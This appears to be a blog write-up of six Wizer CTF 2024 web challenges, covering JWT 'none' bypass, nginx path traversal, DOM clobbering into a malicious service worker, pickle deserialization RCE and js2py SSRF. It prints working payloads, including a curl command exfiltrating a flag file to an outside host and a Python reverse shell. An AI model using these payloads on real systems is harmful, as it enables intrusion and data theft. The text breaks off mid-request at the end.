Wizer CTF 2024 All Challenges

08/02/2024 - 23 minutes

2024 bypass ctfs dns dns_rebinding hacking js2py jwt nginx path_traversal serviceworkers ssrf web wizer wizerctf

Table of contents

Thoughts and Appreciation

Last week I was able to participate at a wonderful CTF organized over at Wizer. This CTF consisted of 6 web challenges in varying difficulty where participants were challenged to a Blitz speed-hacking competition of who can solve the most in 6 hours very generous prizes for the top 3.

I managed to secure 4th place at the end of the CTF! I solved all 6 challenges of which you can see my writeups below, but unfortunately I was a bit slower and the top 3 spots where taken before I managed to finish.

BUT luckily for me due to a confusion in the scoring system there was a difficulty on deciding who earned second place between the 2nd and 3rd player, due to the weird and maybe inconvenient way of how scoring was being calculated. Thus Wizer decided in order to be fair to both participants that they would award both 2nd and 3rd place as if they both earned 2nd place. Luckily for me this makes me take the 3rd place and go home with $100, which honestly an outcome I did not expect! Thanks Wizer and PinkDraconian for organizing such an event.

Below you can see the writeups for all 6 challenges. The challenges are still active on their respective urls, so I also urge you to try them on your own!

JWT Authentication

Description

Get the flag!

Resources

app.js

const express = require('express');
const jwt = require('jsonwebtoken');
const bodyParser = require('body-parser');

const app = express();
app.use(bodyParser.json());
const SECRETKEY = process.env.SECRETKEY;

// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.
app.use((req, res, next) => {
  const token = req.body.token;

  if (!token) {
    return res.status(401).json({ message: 'Token missing' });
  }

  try {
    // Verify the token using the secret key and support all JWT algorithms
    const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384',
                                                                'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
                                                                'PS256', 'PS384', 'PS512'] });

    req.auth = decoded;
    next();
  } catch (err) {
    return res.status(403).json({ message: 'Token invalid' });
  }
});

// API route protected by our authentication middleware
app.post('/flag', (req, res) => {
  if (req.auth.access.includes('flag')) {
    res.json({ message: 'If you can make the server return this message, then you've solved the challenge!'});
  } else {
    res.status(403).json({ message: '🚨 🚨 🚨 You've been caught by the access control police! 🚓 🚓 🚓' })
  }
});

app.listen(3000, () => {
  console.log(`Server is running on port 3000`);
});

Flag conditions

In order for us to get the flag we need to visit the /flag endpoint The /flag endpoint has to be requested via a POST request and in order for us to receive the flag we need req.auth.access to include the string flag. That would return If you can make the server return this message, then you've solved the challenge!

Analysis

Above we can observer a very simple javascript application written with NodeJS using the express framework. The functionality of this application is very limited and we can easily identify the path to the flag.

In order for us to set req.auth we need to find where it is actually given a value.

This happens in the code snippet below

app.use((req, res, next) => {
  const token = req.body.token;

  if (!token) {
    return res.status(401).json({ message: 'Token missing' });
  }

  try {
    // Verify the token using the secret key and support all JWT algorithms
    const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384',
                                                                'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
                                                                'PS256', 'PS384', 'PS512'] });

    req.auth = decoded;
    next();
  } catch (err) {
    return res.status(403).json({ message: 'Token invalid' });
  }
});

This snippet is a NodeJS middleware.

The middleware in nodejs is a function that will have all the access for requesting an object, responding to an object, and moving to the next middleware function in the application request-response cycle.

Essentially all the above description and diagram are saying is that before any endpoint specific code is run the middleware will run before. Meaning that as the comments just preceding the code says

// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.

The above middleware is going to take care of the authorization. The authorization in this application is done using JWT tokens. JWT stands for JSON Web Token and is a method of performing authorization between server and client using cookies or tokens.

// Verify the token using the secret key and support all JWT algorithms
const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384',
															'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
															'PS256', 'PS384', 'PS512'] });

req.auth = decoded;

In this application provided token (req.body.token) is decoded and verified using any of the above user algorithms, by the jwt library in NodeJS. The format of a jwt token is like below (A dot separates the parts)

Vulnerability

The vulnerability of this challenge is that due to the nature of JWT tokens providing themselves an algorithm in the header, it is up to the server to choose if it actually wants to accept that jwt algorithm for verification. There are many JWT verification algorithms and some of them more secure than others. Though one of them that is just straight up not secure is the None algorithm, it simply generates a token with no signature and should never be used in production, I personally believe that it shouldn't exist at all even for debugging purposes. Hence as we can see this application also accepts to "verify" using the NONE algorithm.

Thus to solve this challenge let's generate our token with a payload of

{"access": "flag"}

To do the above I chose to use python to sign my token

import jwt

data = {"access": "flag"}

encoded = jwt.encode(data, None, algorithm="none")
print(encoded)

If we send our now generated token we get

{"message":"Token invalid"}

Let's analyse our generated token to see why this happened.

# HEADER
$ echo "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0="|base64 -d
{"alg":"none","typ":"JWT"}
# PAYLOAD
$ echo "eyJhY2Nlc3MiOiJmbGFnIn0="|base64 -d
{"access":"flag"}
# SIGNATURE (There is no signature as we are signign with a key of None)

Everything above looks perfect except one small detail...

The above has an alg key with a value of none and the Node app is expecting a NONE algorithm instead (The difference of the two is the casing and is a difference between the two used languages and libraries). To resolve this issue we can simply change our HEADER manually encode to base64 and recombine

$ echo '{"alg":"NONE","typ":"JWT"}'|base64
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0K

Then the combined token would look like this: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0K.eyJhY2Nlc3MiOiJmbGFnIn0.

Going Beyond

The above way was very exploratory and I tried to go through every single detail but the best way to do this quickly would probably be using jwt-toolkit

$ jwt-tool eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0. -X a

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi

Original JWT:

jwttool_0d243ae6458ebf61cb778583069708bf - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
jwttool_cd224c93d611dc2aca0a624f53ed321a - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
jwttool_ee881709175418263bf7b876b56857ba - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.
jwttool_0472aa748a224a054f8a65438813eace - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJuT25FIiwidHlwIjoiSldUIn0.eyJhY2Nlc3MiOiJmbGFnIn0.

The above is using jwt_tool and the None exploit to generate all possible variations of it including the all caps one we used previously

Nginx Configuration

Description

Through the Sheldon Cooper's flag game website, with the following nginx configuration, get the flag from "flag.html"

Resources

nginx.conf

user  nginx;
worker_processes  1;
events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {  # Allow the index.html file to be read
            root   /usr/share/nginx/html;
            index  index.html;
        }

        location /assets {  # Allow the assets to be read
            alias /usr/share/nginx/html/assets/;
        }

        location = /flag.html {  # The flag file is private
            deny all;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }
    }
}

Flag conditions

The goal of this challenge is to manage to read the flag.html file.

Analysis

In this challenge we are given just a simple nginx configuration file

We can see that the location /flag.html is simply set up to deny all requests and won't allow us to read it.

Vulnerability

The vulnerability here lies in the way the assets location is defined.

location /assets {  # Allow the assets to be read
	alias /usr/share/nginx/html/assets/;
}

This vulnerability is a very common nginx pitfall and is called off-by-slash (Orange Tsai Path Normalization slide 18)

To exploit this all we need to do is just get the flag checker to go to https://nginx.wizer-ctf.com/assets../flag.html

Because this path will at the end of the day get normalized to /usr/share/nginx/html/assets/../flag.html -> /usr/share/nginx/html/flag.html Which allows us to solve the challenge. Overall this challenge is very easy to solve with a hacker mindset because you learn to look for such common misconfgurations, but the danger lies there as well as this means it is so easy for a developer to be unaware or simply forget to put a / and expose the application to LFI vulnerabilities. Just a singe "/" makes the difference

Recipe Book

Description

Inject an alert("Wizer")

Resources

server.js

const express = require('express');
const helmet = require('helmet');
const app = express();
const port = 80;

// Serve static files from the 'public' directory
app.use(express.static('public'));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", ],
        styleSrc: ["'self'", "'unsafe-inline'", 'maxcdn.bootstrapcdn.com'],
        workerSrc: ["'self'"]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: "Spaghetti Carbonara",
        ingredients: "Pasta, eggs, cheese, bacon",
        instructions: "Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
        image: "spaghetti.jpg"
    },
    {
        id: 2,
        title: "Chicken Alfredo",
        ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
        instructions: "Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
        image: "chicken_alfredo.jpg"
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    next();
});

// Endpoint to get all recipes
app.get('/api/recipes', (req, res) => {
    res.json({ recipes });
});

app.listen(port, () => {
    console.log(`API server is running on port ${port}`);
});

Flag conditions

To solve this challenge we must pop an alert("Wizer")

Analysis

This challenge was a rather tricky one as all the source code that was given was just the server file. I looked through the source code multiple times and couldn't really find even some kind of functionality to work with... All the above application does is serve an index file and a json with 2 recipes.

Then I moved into opening it up in the browser and trying to see what exactly was served to the client, because remember we know that we are probably looking for a client-side XSS.

Upon arriving at the website and inspecting the html source code we see


<!DOCTYPE html>
<html id="filter">
<head>
    <title>Recipe Book</title>
    <div style="display: none;" id="preferences">
        <div id="mode">
            <div id="light">#FFFFFF</div>
        </div>
    </div>
    <div style="display: none;" id="sw">cacheManager.js</div>
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container">
        <h1 class="mt-5">Offline Recipe Book</h1>
        <p>This recipe book even works offline!</p>
        
        <!-- Recipe List -->
        <div id="recipe-list" class="row">
            <div class="col-6" data-recipe-id="1">
                <div class="card">
                    <div class="card-body">
                        Spaghetti Carbonara
                    </div>
                </div>
            </div>
            <div class="col-6" data-recipe-id="2">
                <div class="card">
                    <div class="card-body">
                        Chicken Alfredo
                    </div>
                </div>
            </div>
        </div>

        <div id="recipe-details" class="mt-4"></div>

    <script src="app.js"></script>
</body>
</html>

Hence basically the requests from the json endpoint are somehow loaded through from the server into some nice divs. This leads to believe that there is more to the functionality of this website as their must be some javascript used to load them.

The only file in the document tree that we can see is app.js so let's have a look at it.

// Fetch recipe data from a server (replace with your API endpoint)
function fetchRecipes() {
    return fetch('/api/recipes')
        .then(response => response.json())
        .then(data => data.recipes);
}

// Function to populate the recipe list
function populateRecipeList(recipes) {
const recipeList = document.getElementById('recipe-list');
    recipeData = ''
    recipes.forEach(recipe => {
        recipeData += `
            <div class="col-6" data-recipe-id="${recipe.id}">
                <div class="card" data-recipe-id="${recipe.id}">
                    <div class="card-body" data-recipe-id="${recipe.id}">
                        ${recipe.title}
                    </div>
                </div>
            </div>
        `
    });
    recipeList.innerHTML = recipeData
}

// Dummy function to display a recipe
function displayRecipe(recipe) {
    const recipeDetails = document.getElementById('recipe-details');
    recipeDetails.innerHTML = `
        <h2>${recipe.title}</h2>
        <p><strong>Ingredients:</strong> ${recipe.ingredients}</p>
        <p><strong>Instructions:</strong> ${recipe.instructions}</p>
        <img src="${recipe.image}" alt="${recipe.title}" class="img-fluid" width="200">
    `;
}

// Event listener to display recipe details when a recipe is clicked
document.getElementById('recipe-list').addEventListener('click', (event) => {
    if (event.target.tagName === 'DIV') {
        // Get recipe data from the global variable
        const recipeId = parseInt(event.target.dataset.recipeId);
        const recipe = window.recipes.find(r => r.id === recipeId);
        if (recipe) {
            displayRecipe(recipe);
        }
    }
});

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }

    // Get the mode element
    const modeElement = document.getElementById('mode');

    if (modeElement) {
        // Get the background color element
        let backgroundColorElement = document.getElementById('light');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;
        }

        backgroundColorElement = document.getElementById('dark');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;

            // Apply CSS inversion if it's a 'dark' mode
            document.getElementById('filter').style.filter = 'invert(100%)';
        }
    }
});

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {
    fetchRecipes()
        .then(recipes => {
            // Store the fetched recipes in a global variable for later use
            window.recipes = recipes;
            // Populate the recipe list
            populateRecipeList(recipes);
        });
    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

There is a lot of functionality to break down here but let's see what are the parts of interest.

Apparently there are some parameters we can pass to the application to adjust theme and color.

// Get the "mode" and "color" GET parameters
const searchParams = new URLSearchParams(location.search);
const modeParam = searchParams.get('mode');
const colorParam = searchParams.get("color");

/ Update the elements based on GET parameters
if (modeParam !== null) {
	document.getElementById("mode").children[0].id = modeParam;
}

if (colorParam !== null && modeParam !== null) {
	document.getElementById(modeParam).textContent = colorParam;
}

Basically whatever we set in mode is supposed to trigger either light or dark mode for the application and color changes the background color to what we supply. Keep this in mind because we will need it later on.

The other interesting part of the above file is the service worker registration

Service workers are specialized JavaScript assets that act as proxies between web browsers and web servers. They aim to improve reliability by providing offline access, as well as boost page performance.

Essentially all we care for them is they execute and run on javascript

// Service worker registration
if ('serviceWorker' in navigator) {
	const sw = document.getElementById('sw').innerText;
	navigator.serviceWorker.register('sw.js?sw=' + sw)
		.then(registration => {
			console.log('Service Worker registered with scope:', registration.scope);
		})
		.catch(error => {
			console.error('Service Worker registration failed:', error);
		});
}

a service worker url is fetched from an element in the document tree with id of sw which is then passed as a parameter to the sw.js script sw.js

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

The above service worker takes the sw parameter passed from app.js and calls importScripts() with it according to the docs it just takes a url that it expects to find a javascript file at and loads it.

Then another very important part to in app.js is the very end

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});

BroadcastChannel enables communication between different windows, tabs, or workers within the same origin. postMessage() method will trigger the ‘message’ event on other instances of the BroadcastChannel with the same name.

Thus any message we pass to it will go straight to alert as a parameter. Which if you recall is our end goal to manage to call alert("Wizer")

Ok so if we manage to control the url passed to sw we can communicate with the channel that has been set up and pop an alert() right?

Vulnerability

Well we need to find a way to control the sw endpoint so we somehow need to control the content of a div with in id of sw. The vulnerability here lies in our ability to clobber the html dom (dom cloberring) with the two parameters we control mode and color Actually the exact attack we have to perform here is also documented in a research paper by portswigger Due to the way we control the id of a div with mode and its content with color we can simply request https://events.wizer-ctf.com/?mode=sw&color=https://h8e0icum.requestrepo.com which will result to Essentially we have clobbered / altered the html DOM to our advantage so that when document.getElementById("sw") is called our injected element will be returned which contains the url to our attacker controlled server. Nice so in theory if we host

var a = new BroadcastChannel('recipebook');
a.postMessage({message: 'Wizer'});

op the attacker controlled server then we will pop an alert once importScripts calls it.

Unfortunately we still have a small issue. There is small detail I missed here. when importScripts is called it forces us to use a relative url by starting with a /

At this point I was really stuck during the competition and luckily after a lot of googling I ended up at a post from 2010 at paulirish.com and the whatwg url spec

What the protocol / scheme relative url essentially allows essentially to ignore that scheme part of the url when making a request to it and just put //domain/file.ext and it will follow the scheme of the currently loaded context and perform a request to the specified domain in order to fetch the file.

Ok we are all set now let's exploit! https://events.wizer-ctf.com/?mode=sw&color=//h8e0icum.requestrepo.com

Not just yet!

Well fortuanetly this is an easy one to solve, just change the response Content-Type header to text/javascript and Tada!

Going Beyond

At this point one can ask well you have javascript code execution why did you need to go through the whole broadcastchannel thing. Can't you just call alert("Wizer") in the attacker controlled payload? Hmm let's give that a shot

alert("Wizer");

ServiceWorker script evaluation failed

But why? Just to prove that this is something specific to alert lets just console.log before and after it

console.log("BEFORE");
alert("Wizer");
console.log("AFTER");

As you can see we never get the alert itself executed and the script stops there, hence we don't see the AFTER console logged

Explanation

The reason the alert is not working in your Service Worker is because the Service Worker runs in a different context than the main JavaScript thread. Service Workers are designed to be background scripts that handle events like push notifications, background sync, and caching. They don't have direct access to the DOM or user interface elements like alert.

Using alert or any other methods that rely on direct interaction with the user in a Service Worker is not a good practice and can lead to issues. Instead, you should consider using the postMessage API to communicate between your Service Worker and the main thread.

Extension

What happens though if we wanted to go further not just pop an alert, literally gain full-blown xss. Let's for a moment think out of the scope of this CTF challenge. Because someone could say that this scenario is unrealistic. Which is kind of true, who leaves a broadcastchannel that listens for messages which it will call alert on? Let's challenge ourselves to gain full-xss and actually take control of the victims browser.

Luckily we don't have to really go to far on searching on a solution to this as if we observe the application itself and what usually service workers are used for the solution is literally standing in front of us.

Looking at the initially setup service worker

<div style="display: none;" id="sw">cacheManager.js</div>

cacheManager.js

// Cache name
const cacheName = 'recipe-book-cache-v1';

// Files to cache
const cacheFiles = [
    '/',
    '/index.html',
    '/app.js',
    '/cacheManager.js',
    '/chicken_alfredo.jpg',
    '/favicon.ico',
    'spaghetti.jpg',
    '/sw.js',
    '/utils.js',
    '/api/recipes'
    // Add more files to cache here (e.g., images)
];

// Install event
self.addEventListener('install', (event) => {
    event.waitUntil(
        caches.open(cacheName)
            .then(cache => {
                // Check if the resource is already in the cache
                return Promise.all(
                    cacheFiles.map(file => {
                        return caches.match(file)
                            .then(response => {
                                if (!response) {
                                    // If not in cache, add it
                                    return cache.add(file);
                                }
                            });
                    })
                );
            })
    );
});

// Fetch event
self.addEventListener('fetch', (event) => {
    event.respondWith(
        caches.match(event.request)
            .then(response => {
                // Return cached response if found; otherwise, fetch from the network
                return response || fetch(event.request);
            })
    );
});

self.addEventListener('activate', event => {
    clients.claim();
});

A quick overview of the above:

The solution to this is to simply copy the applications code that hooks in fetch but instead of returning a cache version, lets return a custom html that can contain anything we want even those juicy script tags.

h8e0icum.requestrepo.com

self.addEventListener('fetch', (event) => {
    event.respondWith(
        new Response(`alert("Wizer");
					  window.location.href = "https://evangelospro.com/pwned"`)
    );
});

Which means that when we go to https://events.wizer-ctf.com/?mode=sw&color=//h8e0icum.requestrepo.com then the service worker is loaded and now on every reload we do(in order to cause the fetch of the recipes) we will get a hit on our server and we will return the made up response back. Essentially like that we have escalated from just being able to interact with some listeners already on the page to full blown xss and browser takeover

UPDATE: While I was preparing my writeups I read a very similar extension to this challenge from Yoeri Vegt, which proves my point that people can take their own learning from explicitly vulnerable [CTF](https://ctfd.io/whats-a-ctf) challenges to different levels, even some so called "unrealistic" challenges can provide valuable learnings if you are willing to give them a chance.

Profile Page

Description

Get the flag and submit it here (https://dsw3qg.wizer-ctf.com/submit_flag/) to win the challenge! (profile page: https://dsw3qg.wizer-ctf.com/profile)

Resources

app.py

from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__, template_folder='templates')
real_flag = ''
with open('/flag.txt') as flag_file:
    real_flag = flag_file.read().strip()

class Profile:
    def __init__(self, username, email, bio):
        self.username = username
        self.email = email
        self.bio = bio

@app.route('/profile', methods=['GET', 'POST'])
def profile():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        bio = request.form.get('bio')

        if username and email and bio:
            profile = Profile(username, email, bio)
            dumped = base64.b64encode(pickle.dumps(profile)).decode()
            return render_template('profile.html', profile=profile, dumped=dumped)    

    load_object = request.args.get('load_object')
    if load_object:
        try:
            profile = pickle.loads(base64.b64decode(load_object))
            return render_template('profile.html', profile=profile, dumped=load_object)
        except pickle.UnpicklingError as e:
            return f"Error loading profile: {str(e)}", 400

    return render_template('input.html')

@app.route('/submit_flag/<flag>', methods=['GET'])
def flag(flag):
    return real_flag if flag == real_flag else 'Not correct!'

if __name__ == '__main__':
    app.run(debug=True)

Flag conditions

For this challenge we must somehow read the flag file, so we must gain RCE

Analysis

Well the functionality of this application is very limited all we can do is dump our profile or load it, with python's pickle module

What happens in this application is serialization

Serialization : Serialization is a mechanism of converting the state of an object into a byte stream, JSON, YAML, XML. JSON and XML are two of the most commonly used serialization formats within web applications.  Deserialization : It is the reverse process where the byte stream is used to recreate the actual object in memory.

Vulnerability

The vulnerability in this application is when it deserializes untrusted data. Due to the nature of this functionality having to essentially reconstruct an object using pickle.loads it has to end up evaluating some stuff and there is some of the provided object code being executed along the way.

Let's read the docs on pickle for it

Sidenote: A very obvious warning can be seen for pickling untrusted data just at the top of the docs page

⚠️ The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Scrolling through the docs it is obvious what our target exploit should look like The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”). […] When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:

To exploit this we can simply construct / serialize a malicious pickle that we have __reduce__ implemented for

import os
import pickle
import base64


class Profile:
    def __reduce__(self):
        return (os.system, ("cat /flag.txt",))


profile = Profile()
dumped = base64.b64encode(pickle.dumps(profile)).decode()
print(dumped)

If we supply that to the server https://dsw3qg.wizer-ctf.com/profile?load_object=gASVKAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA1jYXQgL2ZsYWcudHh0lIWUUpQu

We then observe that nothing really happens. The reason is that here we are kind of blind to the outcome of the deserialization RCE itself. To manage and exfiltrate this sucessfully we will have to employ an OOB technique(Out Of Band), which is just fancy words for we will just send the flag to a server and read it from there

hence our new payload becomes

import os
import pickle
import base64

class Profile:
    def __reduce__(self):
        # upload /flag.txt to the server
        return (os.system, ("cat /flag.txt | curl -d @- h8e0icum.requestrepo.com",))


profile = Profile()
dumped = base64.b64encode(pickle.dumps(profile)).decode()
print(dumped)

Using the above we can then exfiltrate the flag via a post request and read it from our attacker controlled server.

Going beyond

Another simple thing we can do for blind vulnerabilities is essentially gain a reverse shell on the target machine.

In addition since we know that we will definetly find python on the target machine, it would be best to choose to use a python reverse shell to avoid dependency on anything else.

Payload generation

import os
import pickle
import base64

class Profile:
    def __reduce__(self):
        return (os.system, ("""export RHOST="ngrok_url";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'""",))


profile = Profile()
dumped = base64.b64encode(pickle.dumps(profile)).decode()
print(dumped)

Attacker listener

rlwrap cn -lnvp 9001

which then grants as a wonderful shell!

Hack The Admin

Description

Get the flag and then submit it here (https://wec5ls.wizer-ctf.com/submit_flag/) to win the challenge!

Resources

app.py

from flask import Flask, request, jsonify
from itertools import chain
from urllib.parse import unquote
from ast import literal_eval
import pyjsparser.parser
import js2py
import traceback
import requests

class Api:
    def hello(self, name):
       return f"Hello {name}"
    
    def eval_js(self, script, es6):
        js = requests.get(script).text
        return (js2py.eval_js6 if es6 else js2py.eval_js)(js)

app = Flask(__name__)
api = Api()
real_flag = ''
with open('/flag.txt') as flag_file:
    real_flag = flag_file.read().strip()

@app.route('/api/<func>', methods=['GET', 'POST'])
@app.route('/api/<func>/<args>', methods=['GET', 'POST'])
def rpc(func, args=""):
    try: # Setup and logging for security
        pyjsparser.parser.ENABLE_PYIMPORT = True
        ip = request.remote_addr
        client = ip if ip != '127.0.0.1' else ip.local
        app.logger.debug(f"Request coming from {client}")
        pyjsparser.parser.ENABLE_PYIMPORT = False
    except Exception as exc:
        jsonify(error=str(exc), traceback=traceback.format_exc()), 500

    args = unquote(args).split(",")
    print(args)
    if len(args) == 1 and not args[0]:
        args = []

    kwargs = {}
    for x, y in chain(request.args.items(), request.form.items()):
        kwargs[x] = unquote(y)

    try:
        response = jsonify(getattr(api, func)(
            *[literal_eval(x) for x in args],
            **{x: literal_eval(y) for x, y in kwargs.items()},
        ))
    except Exception as exc:
        response = jsonify(error=str(exc), traceback=traceback.format_exc()), 500
    return response

@app.route('/submit_flag/<flag>', methods=['GET'])
def flag(flag):
    return real_flag if flag == real_flag else 'Not correct!'

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

Flag conditions

Well as you can see there isn't a "magic" condition to give us the flag so we probably have to gain RCE in order to read the file.

Analysis

The above application has no front-end at all it is only an API that can run any of the two functions

Before analyzing the code any further manually, I took more of a dynamic testing approach. I tried to test the baseline functionality just to ensure that I have understood the applications core functionalities and how this whole api was supposed to work.

Hmm not what I expected

That looks more like it, but now what?

Well I don't think by greeting a bunch of names we are getting the flag so let's move on.

def eval_js(self, script, es6):
        app.logger.debug(f"Fetching {script}")
        js = requests.get(script).text
        app.logger.debug(f"Executing {js}")
        res = (js2py.eval_js6 if es6 else js2py.eval_js)(js)
        app.logger.debug(f"Result: {res}")
        return res

The above function is essentially a wrapper of the js2py eval_js function, more evals yay... Ok lets have a look on what that library does. It seems to be a nice translation layer of javascript to python. All it does is it makes a request to a provided url and then passes the contents of the url to eval_js. Ok should be simple then let's read the flag with javascript and get done with it.

Before we do that though as always let's do a basic functionality check again. Let's just return "test"

h8e0icum.requestrepo.com

"test"
GET /api/eval_js/'http:%25%32%66%25%32%66h8e0icum.requestrepo.com',False 

Remember we have to double url-encode the slashes of our url and also pass False to the es6 as that specification is experimental for js2py and will download babel for every request...

OK base test done

Easy then lets just return the contents of the flag file

const fs = require('fs');
console.log(fs.readFileSync('/flag.txt', 'utf8'));

send it and ...

{"error": "ReferenceError: require is not defined"}

Okay this makes sense because if we read the docs

The above clearly isn't done to our instance so let's move on. My next thought was ok no imports allowed, surely this so called programming language must have another way to read files without the use of modules... I was stuck here for a WHILE. Please ping me if I am wrong but I scattered the internet there is apparently no way to do this without modules. Ok then let's keep reading the docs for any interesting functionality. Scrolling to the very bottom we see

Nice then we can just import python modules and gain rce.

pyimport subprocess; subprocess.check_output(['cat','/flag.txt']).decode();

The above should do it.

let's test locally first so we can see if any errors pop up

Wonderful remote now!

{"error":"SyntaxError: Line 1: Unexpected token pyimport"}

What? Why?

try:  # Setup and logging for security
	pyjsparser.parser.ENABLE_PYIMPORT = True
	ip = request.remote_addr
	client = ip if ip != "127.0.0.1" else ip.local
	app.logger.debug(f"Request coming from {client}")
	pyjsparser.parser.ENABLE_PYIMPORT = False
except Exception as exc:
	app.logger.error(f"Error while setting up: {exc}")
	jsonify(error=str(exc), traceback=traceback.format_exc()), 500

The answer is in the above lines of code, which took me a bit of time to understand. What is happening here is: PYIMPORTS are enabled at the start until the ip-address is checked and if the ip address is 127.0.0.1 then there is an attempt to access ip.local which doesn't exist as ip is just a string and it has no local attribute. This though is the key. Because this causes an exception which avoid the line that disables PYIMPORTS

But how can we make a request from localhost?

This was the second time I had to really think, until it just clicked. Since the eval_js function of the API makes a request to another server in order to read the code to execute, we can simply nest 2 requests together, hence the 2nd one will come from localhost and raise the exception which leaves PYIMPORTS enabled and we will be able to read the flag.

So the concept is: request http://server/api/eval_js/'http://127.0.0.1/api/eval_js/"http://h8e0icum.requestrepo.com",False',False

Getting this to work takes a bit of effort because you have to encode the nested payload 4 times and it becomes a mess.

The full payload looks like this

GET /api/eval_js/"http:%25%32%66%25%32%66127.0.0.1%25%32%66api%25%32%66eval_js%252f'http:%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36%25%32%35%25%33%32%25%33%35%25%32%35%25%33%33%25%33%32%25%32%35%25%33%36%25%33%36h8e0icum.requestrepo.com'%25%32%35%25%33%32%25%36%33False",False HTTP/1.1
Host: wec5ls.wizer-ctf.com
Connection: close

Going beyond

Well on this challenge beyond means backwards 😅 . There is something in the code that allows to cut down on some urlencodings...

for x, y in chain(request.args.items(), request.form.items()):
	kwargs[x] = unquote(y)

The above is going to create keyword arguments from the arguments passed into our request. Thus following the python function's structure we can have the below

POST /api/eval_js HTTP/1.1
Host: wec5ls.wizer-ctf.com
Connection: close
Content-Type: application/x-www-form-urlencoded
